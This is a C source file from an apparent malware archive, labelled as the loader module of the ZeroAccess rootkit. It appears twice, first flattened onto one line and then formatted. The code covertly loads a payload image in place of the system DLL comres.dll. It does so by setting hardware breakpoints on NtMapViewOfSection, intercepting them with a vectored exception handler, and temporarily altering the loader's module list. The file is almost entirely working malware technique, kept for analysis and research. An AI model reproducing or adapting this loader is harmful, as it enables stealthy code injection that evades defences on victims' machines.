/* name ZeroAccess type rootkit cve — year unknown os Windows authors unknown source RamadhanAmizudin/malware archived RamadhanAmizudin, krisyotam (2026) notes — *//********************************************************************************* (C) COPYRIGHT AUTHORS, 2016** TITLE: LDR.C** VERSION: 1.00** DATE: 15 Jan 2016** ZeroAccess loader routines.** THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A* PARTICULAR PURPOSE.********************************************************************************/ #include "global.h" TEB_ACTIVE_FRAME_CONTEXT g_fctx = { 0, "_" };PVOID g_pNtMapViewOfSection = NULL; typedef struct _ZA_THREAD_CTX { TEB_ACTIVE_FRAME Frame; IMAGE_NT_HEADERS *fHeader; ULONG_PTR ReturnAddress; ULONG_PTR PayloadImageBase; ULONG_PTR ViewBase;} ZA_THREAD_CTX, *PZA_THREAD_CTX; /** SfLdrQueryResourceDataEx** Purpose:** Manually parse resource directory and load resource by given id.**/PBYTE SfLdrQueryResourceDataEx( _In_ PVOID ImageBase, _In_ CONST LDR_RESOURCE_INFO* ResourceIdPath, _Out_ ULONG *DataSize ){ BOOL cond = FALSE, bFound = FALSE; IMAGE_RESOURCE_DIRECTORY *ResRoot, *ResDir; IMAGE_RESOURCE_DIRECTORY_ENTRY *ResourceEntry = NULL; IMAGE_RESOURCE_DATA_ENTRY *ResData; WORD NumberOfIdEntries; ULONG Size; PBYTE Data; IMAGE_NT_HEADERS *NtHeaders; if (DataSize) { *DataSize = 0; } Data = NULL; do { ResRoot = (PIMAGE_RESOURCE_DIRECTORY)RtlImageDirectoryEntryToData(ImageBase, FALSE, IMAGE_DIRECTORY_ENTRY_RESOURCE, &Size); if (ResRoot == NULL) break; NumberOfIdEntries = ResRoot->NumberOfIdEntries; if (NumberOfIdEntries == 0) break; bFound = FALSE; do { ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResRoot + sizeof(IMAGE_RESOURCE_DIRECTORY)); if (ResourceEntry->Id == ResourceIdPath->Type) { bFound = TRUE; break; } ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResourceEntry + sizeof(IMAGE_RESOURCE_DIRECTORY)); NumberOfIdEntries--; } while (NumberOfIdEntries != 0); if (bFound == FALSE) break; if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size)) break; if (ResourceEntry->OffsetToData & 0x80000000) { ResDir = (PIMAGE_RESOURCE_DIRECTORY)((PUCHAR)ResRoot + (ResourceEntry->OffsetToData & 0x7FFFFFFF)); if ((ULONG_PTR)ResDir > ((ULONG_PTR)ResRoot + Size)) break; NumberOfIdEntries = ResDir->NumberOfIdEntries; if (NumberOfIdEntries == 0) break; ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PUCHAR)ResDir + sizeof(IMAGE_RESOURCE_DIRECTORY)); if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size)) break; bFound = FALSE; do { if (ResourceEntry->Name == ResourceIdPath->Name) { bFound = TRUE; break; } ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResourceEntry + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)); NumberOfIdEntries--; } while (NumberOfIdEntries != 0); if (bFound == FALSE) break; if (ResourceEntry->OffsetToData & 0x80000000) { ResDir = (PIMAGE_RESOURCE_DIRECTORY)((PUCHAR)ResRoot + (ResourceEntry->OffsetToData & 0x7FFFFFFF)); if (ResDir->NumberOfIdEntries == 0) break; ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PUCHAR)ResDir + sizeof(IMAGE_RESOURCE_DIRECTORY)); } if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size)) break; if (ResourceEntry) { ResData = (PIMAGE_RESOURCE_DATA_ENTRY)((PUCHAR)ResRoot + ResourceEntry->OffsetToData); NtHeaders = RtlImageNtHeader(ImageBase); Data = RtlAddressInSectionTable(NtHeaders, ImageBase, ResData->OffsetToData); if (DataSize) { *DataSize = ResData->Size; } } } } while (cond); return Data;} /** SfLdrQueryResourceData** Purpose:** Load resource by given id (win32 FindResource, SizeofResource, LockResource).**/PBYTE SfLdrQueryResourceData( _In_ ULONG_PTR ResourceId, _In_ PVOID DllHandle, _In_ PULONG DataSize ){ NTSTATUS status; ULONG_PTR IdPath[3]; IMAGE_RESOURCE_DATA_ENTRY *DataEntry; PBYTE Data = NULL; ULONG SizeOfData = 0; if (DllHandle != NULL) { IdPath[0] = (ULONG_PTR)RT_RCDATA; //type IdPath[1] = ResourceId; //id IdPath[2] = 0; //lang status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry); if (NT_SUCCESS(status)) { status = LdrAccessResource(DllHandle, DataEntry, &Data, &SizeOfData); if (NT_SUCCESS(status)) { if (DataSize) { *DataSize = SizeOfData; } } } } return Data;} //mechanism 8 VOID NTAPI SfLdrEnumModules( _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, _In_ PVOID Context, _In_ OUT BOOLEAN *StopEnumeration ){ PUNICODE_STRING uDllName = (PUNICODE_STRING)Context; if (uDllName) { if (RtlEqualUnicodeString(&DataTableEntry->BaseDllName, uDllName, TRUE)) { DataTableEntry->BaseDllName.Length |= 1; DataTableEntry->BaseDllName.Buffer[1]++; } } else { if (DataTableEntry->BaseDllName.Length & 1) { DataTableEntry->BaseDllName.Length &= ~1; DataTableEntry->BaseDllName.Buffer[1]--; } } *StopEnumeration = 0;} LONG NTAPI SfLdrVehHandler( EXCEPTION_POINTERS *ExceptionInfo ){ LPWSTR DllString; PZA_THREAD_CTX ZACtx = NULL; SIZE_T *ViewSize; if ( (ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) || (ExceptionInfo->ExceptionRecord->ExceptionAddress != g_pNtMapViewOfSection) ) { return EXCEPTION_CONTINUE_SEARCH; } DllString = _filename_w((LPWSTR)NtCurrentTeb()->NtTib.ArbitraryUserPointer); if (_strcmpi_w(DllString, L"comres.dll") == 0) { ZACtx = (PZA_THREAD_CTX)RtlGetFrame(); while ((ZACtx != NULL) && (ZACtx->Frame.Context != &g_fctx)) { ZACtx = (PZA_THREAD_CTX)ZACtx->Frame.Previous; } if (ZACtx) { #ifdef _WIN64 ZACtx->ReturnAddress = *(ULONG_PTR *)ExceptionInfo->ContextRecord->Rsp; ZACtx->ViewBase = (ULONG_PTR)ExceptionInfo->ContextRecord->R8; ViewSize = (PSIZE_T)*(PSIZE_T)(ExceptionInfo->ContextRecord->Rsp + 0x38); *ViewSize = ZACtx->fHeader->OptionalHeader.SizeOfImage; //*(ULONG_PTR *)ExceptionInfo->ContextRecord->Rsp = (ULONG_PTR)&SfpLdrPostCallHandler;#else ZACtx->ReturnAddress = *(ULONG_PTR *)ExceptionInfo->ContextRecord->Esp; ZACtx->ViewBase = *(PULONG_PTR)(ExceptionInfo->ContextRecord->Esp + 0xc); ViewSize = (PSIZE_T)*(PSIZE_T)(ExceptionInfo->ContextRecord->Esp + 0x1c); *ViewSize = ZACtx->fHeader->OptionalHeader.SizeOfImage; //*(ULONG_PTR *)ExceptionInfo->ContextRecord->Esp = (ULONG_PTR)&SfpLdrPostCallHandler;#endif } } if ( (USER_SHARED_DATA->NtMajorVersion < 6) && (USER_SHARED_DATA->NtMinorVersion < 2) ) { ExceptionInfo->ContextRecord->Dr3 = 0; } ExceptionInfo->ContextRecord->EFlags |= 0x10000; return EXCEPTION_CONTINUE_EXECUTION;} VOID SfLdrLoadPayload( PVOID PayloadImageBase ){ CONTEXT ctx; NTSTATUS status; PVOID ExceptionHandler, DllImageBase = NULL; DWORD_PTR ArbitraryUserPointer = 0; UNICODE_STRING DllName;#ifdef _DEBUG ANSI_STRING str;#endif ZA_THREAD_CTX zactx; RtlSecureZeroMemory(&zactx, sizeof(zactx)); zactx.Frame.Context = &g_fctx; zactx.Frame.Flags = 0; zactx.PayloadImageBase = (ULONG_PTR)PayloadImageBase; RtlPushFrame((PTEB_ACTIVE_FRAME)&zactx); zactx.fHeader = RtlImageNtHeader(PayloadImageBase); if (zactx.fHeader) { ExceptionHandler = RtlAddVectoredExceptionHandler(1, &SfLdrVehHandler); if (ExceptionHandler) { #ifdef _DEBUG RtlSecureZeroMemory(&DllName, sizeof(DllName)); RtlInitUnicodeString(&DllName, L"ntdll.dll"); if (NT_SUCCESS(LdrGetDllHandle(NULL, NULL, &DllName, &DllImageBase))) { RtlInitString(&str, "NtMapViewOfSection"); LdrGetProcedureAddress(DllImageBase, &str, 0, &g_pNtMapViewOfSection); }#else g_pNtMapViewOfSection = NtMapViewOfSection;#endif RtlSecureZeroMemory(&ctx, sizeof(CONTEXT)); ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; ctx.Dr3 = (DWORD_PTR)g_pNtMapViewOfSection; ctx.Dr7 = 0x440; if (NT_SUCCESS(NtSetContextThread(NtCurrentThread(), &ctx))) { RtlInitUnicodeString(&DllName, L"comres.dll"); LdrEnumerateLoadedModules(0, &SfLdrEnumModules, (PVOID)&DllName); //save and zero NtTib.ArbitraryUserPointer#ifdef _WIN64 ArbitraryUserPointer = (DWORD_PTR)__readgsqword(0x28); __writegsqword(0x28, 0);#else ArbitraryUserPointer = (DWORD_PTR)__readfsdword(0x14); __writefsdword(0x14, 0);#endif status = LdrLoadDll(NULL, NULL, &DllName, &DllImageBase); //restore NtTib.ArbitraryUserPointer#ifdef _WIN64 __writegsqword(0x28, ArbitraryUserPointer);#else __writefsdword(0x14, ArbitraryUserPointer);#endif LdrEnumerateLoadedModules(0, &SfLdrEnumModules, NULL); ctx.Dr3 = 0; ctx.Dr7 = 0x400; NtSetContextThread(NtCurrentThread(), &ctx); } RtlRemoveVectoredExceptionHandler(ExceptionHandler); } } RtlPopFrame((PTEB_ACTIVE_FRAME)&zactx);}
/*
name ZeroAccess
type rootkit
cve —
year unknown
os Windows
authors unknown
source RamadhanAmizudin/malware
archived RamadhanAmizudin, krisyotam (2026)
notes —
*/
/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2016
*
* TITLE: LDR.C
*
* VERSION: 1.00
*
* DATE: 15 Jan 2016
*
* ZeroAccess loader routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
TEB_ACTIVE_FRAME_CONTEXT g_fctx = { 0, "_" };
PVOID g_pNtMapViewOfSection = NULL;
typedef struct _ZA_THREAD_CTX {
TEB_ACTIVE_FRAME Frame;
IMAGE_NT_HEADERS *fHeader;
ULONG_PTR ReturnAddress;
ULONG_PTR PayloadImageBase;
ULONG_PTR ViewBase;
} ZA_THREAD_CTX, *PZA_THREAD_CTX;
/*
* SfLdrQueryResourceDataEx
*
* Purpose:
*
* Manually parse resource directory and load resource by given id.
*
*/
PBYTE SfLdrQueryResourceDataEx(
_In_ PVOID ImageBase,
_In_ CONST LDR_RESOURCE_INFO* ResourceIdPath,
_Out_ ULONG *DataSize
)
{
BOOL cond = FALSE, bFound = FALSE;
IMAGE_RESOURCE_DIRECTORY *ResRoot, *ResDir;
IMAGE_RESOURCE_DIRECTORY_ENTRY *ResourceEntry = NULL;
IMAGE_RESOURCE_DATA_ENTRY *ResData;
WORD NumberOfIdEntries;
ULONG Size;
PBYTE Data;
IMAGE_NT_HEADERS *NtHeaders;
if (DataSize) {
*DataSize = 0;
}
Data = NULL;
do {
ResRoot = (PIMAGE_RESOURCE_DIRECTORY)RtlImageDirectoryEntryToData(ImageBase, FALSE, IMAGE_DIRECTORY_ENTRY_RESOURCE, &Size);
if (ResRoot == NULL)
break;
NumberOfIdEntries = ResRoot->NumberOfIdEntries;
if (NumberOfIdEntries == 0)
break;
bFound = FALSE;
do {
ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResRoot + sizeof(IMAGE_RESOURCE_DIRECTORY));
if (ResourceEntry->Id == ResourceIdPath->Type) {
bFound = TRUE;
break;
}
ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResourceEntry + sizeof(IMAGE_RESOURCE_DIRECTORY));
NumberOfIdEntries--;
} while (NumberOfIdEntries != 0);
if (bFound == FALSE)
break;
if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size))
break;
if (ResourceEntry->OffsetToData & 0x80000000) {
ResDir = (PIMAGE_RESOURCE_DIRECTORY)((PUCHAR)ResRoot + (ResourceEntry->OffsetToData & 0x7FFFFFFF));
if ((ULONG_PTR)ResDir > ((ULONG_PTR)ResRoot + Size))
break;
NumberOfIdEntries = ResDir->NumberOfIdEntries;
if (NumberOfIdEntries == 0)
break;
ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PUCHAR)ResDir + sizeof(IMAGE_RESOURCE_DIRECTORY));
if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size))
break;
bFound = FALSE;
do {
if (ResourceEntry->Name == ResourceIdPath->Name) {
bFound = TRUE;
break;
}
ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResourceEntry + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY));
NumberOfIdEntries--;
} while (NumberOfIdEntries != 0);
if (bFound == FALSE)
break;
if (ResourceEntry->OffsetToData & 0x80000000) {
ResDir = (PIMAGE_RESOURCE_DIRECTORY)((PUCHAR)ResRoot + (ResourceEntry->OffsetToData & 0x7FFFFFFF));
if (ResDir->NumberOfIdEntries == 0)
break;
ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PUCHAR)ResDir + sizeof(IMAGE_RESOURCE_DIRECTORY));
}
if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size))
break;
if (ResourceEntry) {
ResData = (PIMAGE_RESOURCE_DATA_ENTRY)((PUCHAR)ResRoot + ResourceEntry->OffsetToData);
NtHeaders = RtlImageNtHeader(ImageBase);
Data = RtlAddressInSectionTable(NtHeaders, ImageBase, ResData->OffsetToData);
if (DataSize) {
*DataSize = ResData->Size;
}
}
}
} while (cond);
return Data;
}
/*
* SfLdrQueryResourceData
*
* Purpose:
*
* Load resource by given id (win32 FindResource, SizeofResource, LockResource).
*
*/
PBYTE SfLdrQueryResourceData(
_In_ ULONG_PTR ResourceId,
_In_ PVOID DllHandle,
_In_ PULONG DataSize
)
{
NTSTATUS status;
ULONG_PTR IdPath[3];
IMAGE_RESOURCE_DATA_ENTRY *DataEntry;
PBYTE Data = NULL;
ULONG SizeOfData = 0;
if (DllHandle != NULL) {
IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
IdPath[1] = ResourceId; //id
IdPath[2] = 0; //lang
status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
if (NT_SUCCESS(status)) {
status = LdrAccessResource(DllHandle, DataEntry, &Data, &SizeOfData);
if (NT_SUCCESS(status)) {
if (DataSize) {
*DataSize = SizeOfData;
}
}
}
}
return Data;
}
//mechanism 8
VOID NTAPI SfLdrEnumModules(
_In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
_In_ PVOID Context,
_In_ OUT BOOLEAN *StopEnumeration
)
{
PUNICODE_STRING uDllName = (PUNICODE_STRING)Context;
if (uDllName) {
if (RtlEqualUnicodeString(&DataTableEntry->BaseDllName, uDllName, TRUE)) {
DataTableEntry->BaseDllName.Length |= 1;
DataTableEntry->BaseDllName.Buffer[1]++;
}
}
else {
if (DataTableEntry->BaseDllName.Length & 1) {
DataTableEntry->BaseDllName.Length &= ~1;
DataTableEntry->BaseDllName.Buffer[1]--;
}
}
*StopEnumeration = 0;
}
LONG NTAPI SfLdrVehHandler(
EXCEPTION_POINTERS *ExceptionInfo
)
{
LPWSTR DllString;
PZA_THREAD_CTX ZACtx = NULL;
SIZE_T *ViewSize;
if (
(ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) ||
(ExceptionInfo->ExceptionRecord->ExceptionAddress != g_pNtMapViewOfSection)
)
{
return EXCEPTION_CONTINUE_SEARCH;
}
DllString = _filename_w((LPWSTR)NtCurrentTeb()->NtTib.ArbitraryUserPointer);
if (_strcmpi_w(DllString, L"comres.dll") == 0) {
ZACtx = (PZA_THREAD_CTX)RtlGetFrame();
while ((ZACtx != NULL) && (ZACtx->Frame.Context != &g_fctx)) {
ZACtx = (PZA_THREAD_CTX)ZACtx->Frame.Previous;
}
if (ZACtx) {
#ifdef _WIN64
ZACtx->ReturnAddress = *(ULONG_PTR *)ExceptionInfo->ContextRecord->Rsp;
ZACtx->ViewBase = (ULONG_PTR)ExceptionInfo->ContextRecord->R8;
ViewSize = (PSIZE_T)*(PSIZE_T)(ExceptionInfo->ContextRecord->Rsp + 0x38);
*ViewSize = ZACtx->fHeader->OptionalHeader.SizeOfImage;
//*(ULONG_PTR *)ExceptionInfo->ContextRecord->Rsp = (ULONG_PTR)&SfpLdrPostCallHandler;
#else
ZACtx->ReturnAddress = *(ULONG_PTR *)ExceptionInfo->ContextRecord->Esp;
ZACtx->ViewBase = *(PULONG_PTR)(ExceptionInfo->ContextRecord->Esp + 0xc);
ViewSize = (PSIZE_T)*(PSIZE_T)(ExceptionInfo->ContextRecord->Esp + 0x1c);
*ViewSize = ZACtx->fHeader->OptionalHeader.SizeOfImage;
//*(ULONG_PTR *)ExceptionInfo->ContextRecord->Esp = (ULONG_PTR)&SfpLdrPostCallHandler;
#endif
}
}
if (
(USER_SHARED_DATA->NtMajorVersion < 6) &&
(USER_SHARED_DATA->NtMinorVersion < 2)
)
{
ExceptionInfo->ContextRecord->Dr3 = 0;
}
ExceptionInfo->ContextRecord->EFlags |= 0x10000;
return EXCEPTION_CONTINUE_EXECUTION;
}
VOID SfLdrLoadPayload(
PVOID PayloadImageBase
)
{
CONTEXT ctx;
NTSTATUS status;
PVOID ExceptionHandler, DllImageBase = NULL;
DWORD_PTR ArbitraryUserPointer = 0;
UNICODE_STRING DllName;
#ifdef _DEBUG
ANSI_STRING str;
#endif
ZA_THREAD_CTX zactx;
RtlSecureZeroMemory(&zactx, sizeof(zactx));
zactx.Frame.Context = &g_fctx;
zactx.Frame.Flags = 0;
zactx.PayloadImageBase = (ULONG_PTR)PayloadImageBase;
RtlPushFrame((PTEB_ACTIVE_FRAME)&zactx);
zactx.fHeader = RtlImageNtHeader(PayloadImageBase);
if (zactx.fHeader) {
ExceptionHandler = RtlAddVectoredExceptionHandler(1, &SfLdrVehHandler);
if (ExceptionHandler) {
#ifdef _DEBUG
RtlSecureZeroMemory(&DllName, sizeof(DllName));
RtlInitUnicodeString(&DllName, L"ntdll.dll");
if (NT_SUCCESS(LdrGetDllHandle(NULL, NULL, &DllName, &DllImageBase))) {
RtlInitString(&str, "NtMapViewOfSection");
LdrGetProcedureAddress(DllImageBase, &str, 0, &g_pNtMapViewOfSection);
}
#else
g_pNtMapViewOfSection = NtMapViewOfSection;
#endif
RtlSecureZeroMemory(&ctx, sizeof(CONTEXT));
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
ctx.Dr3 = (DWORD_PTR)g_pNtMapViewOfSection;
ctx.Dr7 = 0x440;
if (NT_SUCCESS(NtSetContextThread(NtCurrentThread(), &ctx))) {
RtlInitUnicodeString(&DllName, L"comres.dll");
LdrEnumerateLoadedModules(0, &SfLdrEnumModules, (PVOID)&DllName);
//save and zero NtTib.ArbitraryUserPointer
#ifdef _WIN64
ArbitraryUserPointer = (DWORD_PTR)__readgsqword(0x28);
__writegsqword(0x28, 0);
#else
ArbitraryUserPointer = (DWORD_PTR)__readfsdword(0x14);
__writefsdword(0x14, 0);
#endif
status = LdrLoadDll(NULL, NULL, &DllName, &DllImageBase);
//restore NtTib.ArbitraryUserPointer
#ifdef _WIN64
__writegsqword(0x28, ArbitraryUserPointer);
#else
__writefsdword(0x14, ArbitraryUserPointer);
#endif
LdrEnumerateLoadedModules(0, &SfLdrEnumModules, NULL);
ctx.Dr3 = 0;
ctx.Dr7 = 0x400;
NtSetContextThread(NtCurrentThread(), &ctx);
}
RtlRemoveVectoredExceptionHandler(ExceptionHandler);
}
}
RtlPopFrame((PTEB_ACTIVE_FRAME)&zactx);
}